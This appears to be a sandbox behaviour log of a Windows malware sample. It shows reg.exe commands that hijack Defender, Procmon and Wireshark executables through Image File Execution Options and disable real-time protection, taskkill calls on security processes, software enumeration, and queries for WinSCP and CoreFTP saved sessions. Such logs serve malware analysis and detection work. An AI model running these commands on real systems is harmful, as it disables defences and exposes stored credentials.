C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:868

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1944

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1132

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3844

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3908

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3668

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:676

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3620

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:64
3⤵
- Checks for installed software on the system
PID:2516

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:32
3⤵
- Checks for installed software on the system
PID:2884

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:3536

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1440

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:408

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:820

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1716

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1988

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
2⤵
- Kills process with taskkill
PID:3084

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1196

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3612

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
- Checks for installed software on the system
PID:3020

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
- Checks for installed software on the system
PID:4008

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
2⤵
- Kills process with taskkill
PID:1760

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1652

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
3⤵
- Checks for installed software on the system
PID:1976

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
3⤵
PID:1528

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:860

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
3⤵
PID:656

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
3⤵
PID:1132

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3536

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
3⤵
PID:2908

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
3⤵
PID:3516

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2516

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
3⤵
PID:2052

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
3⤵
PID:1500

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1528

C:\Windows\System32\Wbem\WMIC.exe
wmic /Node:localhost /Namespace:\\root\cimv2 Path Win32_PnpSignedDriver Get /Format:List
3⤵
PID:2856

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1132

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
3⤵
PID:1444

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
3⤵
PID:764

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1168

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
3⤵
PID:2812

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
3⤵
PID:3492

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:2724

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
3⤵
PID:2736

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
3⤵
PID:1716

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1756

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
3⤵
PID:908

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
3⤵
PID:2736

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
2⤵
- Kills process with taskkill
PID:2416

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3048

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
3⤵
PID:2736

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
3⤵
PID:1944

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3516

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
3⤵
PID:2736

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
3⤵
PID:4024

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
3⤵
PID:3668

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
3⤵
PID:4116

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4136

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
3⤵
- Checks for installed software on the system
PID:4172

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
3⤵
PID:4192

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4212

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
3⤵
- Checks for installed software on the system
PID:4252

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
3⤵
PID:4272

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4292

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
3⤵
PID:4328

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
3⤵
PID:4348

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4364

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:64
3⤵
- Checks for installed software on the system
PID:4400

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:32
3⤵
PID:4424

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4444

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
3⤵
PID:4480

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
3⤵
PID:4520

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:4500

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4556

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
3⤵
- Checks for installed software on the system
PID:4612

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
3⤵
PID:4632

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4652

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
3⤵
PID:4688

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
3⤵
PID:4708

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4728

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
3⤵
- Checks for installed software on the system
PID:4764

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
3⤵
PID:4784

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4804

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
3⤵
- Checks for installed software on the system
PID:4840

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
3⤵
PID:4860

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4880

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:64
3⤵
- Checks for installed software on the system
PID:4916

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:32
3⤵
PID:4936

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4956

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
3⤵
- Checks for installed software on the system
PID:4992

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
3⤵
PID:5012

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5032

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
3⤵
- Checks for installed software on the system
PID:5068

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
3⤵
PID:4112

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
2⤵
- Kills process with taskkill
PID:5080

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4116

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
3⤵
- Checks for installed software on the system
PID:4220

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
3⤵
PID:4264

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4284

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:64
3⤵
- Checks for installed software on the system
PID:4328

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:32
3⤵
PID:4380

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1012

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:3844

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:3920

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4440

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:4508

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:4544

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4604

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:4540

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:4624

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4648

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
3⤵
- Checks for installed software on the system
PID:4716

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
3⤵
PID:4708

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4776

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
3⤵
- Checks for installed software on the system
PID:4820

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
3⤵
PID:4868

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4860

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
3⤵
- Checks for installed software on the system
PID:4940

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
3⤵
PID:4972

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:5020

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
3⤵
PID:5096

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
3⤵
- Checks for installed software on the system
PID:3668

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4152

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
3⤵
PID:5108

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
3⤵
PID:5104

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4252

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
3⤵
PID:4352

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
3⤵
PID:4372

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3684

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
3⤵
PID:4400

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
3⤵
PID:4524

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
3⤵
PID:484

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
3⤵
PID:4560

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:4608

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4960

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
3⤵
PID:2488

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
3⤵
PID:4912

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1604

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
3⤵
PID:3004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
3⤵
PID:3060

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4396

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
3⤵
PID:3824

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
3⤵
PID:1140

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1188

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:64
3⤵
PID:3940

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:32
3⤵
- Checks for installed software on the system
PID:4984

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4320

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:64
3⤵
PID:496

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:32
3⤵
- Checks for installed software on the system
PID:1656

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3536

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
3⤵
PID:760

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
3⤵
- Checks for installed software on the system
PID:2204

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1776

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
3⤵
PID:4136

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
3⤵
- Checks for installed software on the system
PID:4444

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:1756

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
3⤵
PID:4900

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
3⤵
- Checks for installed software on the system
PID:4752

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
2⤵
- Kills process with taskkill
PID:3768

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:1444

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:2728

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4568

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:4628

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:4716

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
2⤵
- Kills process with taskkill
PID:4872

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
2⤵
- Kills process with taskkill
PID:5024

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
2⤵
- Kills process with taskkill
PID:4100

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4460

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security" /reg:64
3⤵
PID:1468

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security" /reg:32
3⤵
PID:484

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3016

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions" /reg:64
3⤵
PID:2812

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions" /reg:32
3⤵
PID:4324

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:4760

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\FTPware\CoreFTP\Sites" /reg:64
3⤵
PID:2736

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\FTPware\CoreFTP\Sites" /reg:32
3⤵
PID:4412

C:\Windows\SYSTEM32\cmd.exe
cmd.exe
2⤵
PID:3912

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Adobe\Common" /reg:64
3⤵
PID:4008

C:\Windows\system32\reg.exe
reg query "HKEY_CURRENT_USER\Software\Adobe\Common" /reg:32
3⤵
PID:4468

C:\Windows\SYSTEM32\cmd.exe
